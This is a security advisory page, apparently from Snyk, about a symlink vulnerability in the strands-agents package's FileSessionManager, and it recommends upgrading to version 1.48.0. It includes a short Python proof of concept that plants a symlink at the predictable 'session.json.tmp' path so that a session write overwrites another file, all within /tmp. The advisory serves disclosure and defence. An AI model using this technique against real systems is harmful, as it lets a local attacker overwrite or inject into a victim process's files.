Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade strands-agents to version 1.48.0 or higher.
strands-agents is an A model-driven approach to building AI agents in just a few lines of code
Affected versions of this package are vulnerable to Symlink Attack via FileSessionManager._write_file() in file_session_manager.py, where the temporary file used during atomic writes was written to a predictable path (session.json.tmp) without checking whether that path was a symlink. An attacker with local filesystem access can place a symlink at the predictable temporary path, causing the write operation to follow the symlink and overwrite an arbitrary file writable by the victim process. The same vulnerability exists in _read_file(), where session data can be injected by symlinking a session file to an attacker-controlled path.
import os, json, tempfile, shutil
# Setup: simulate the vulnerable write pattern
session_dir = "/tmp/strands/sessions/session_test/"
os.makedirs(session_dir, exist_ok=True)
# Attacker: create symlink at the .tmp write path
target_file = "/tmp/symlink_attack_proof.txt"
with open(target_file, "w") as f:
f.write("ORIGINAL - should not be overwritten\n")
symlink_path = os.path.join(session_dir, "session.json.tmp")
if os.path.exists(symlink_path):
os.unlink(symlink_path)
os.symlink(target_file, symlink_path)
# Victim: FileSessionManager._write_file() equivalent
with open(symlink_path, "w", encoding="utf-8", newline="\n") as f:
json.dump({"session_id": "test", "injected": True}, f, indent=2)
# Verify: target file overwritten
with open(target_file) as f:
print(f"Target file content: {f.read()}")
# Output: {"session_id": "test", "injected": true}
# Cleanup
os.unlink(symlink_path)
os.unlink(target_file)
shutil.rmtree(session_dir)
Note: The PoC simulates the vulnerable write pattern using the default /tmp/strands/sessions/ storage directory on a local filesystem.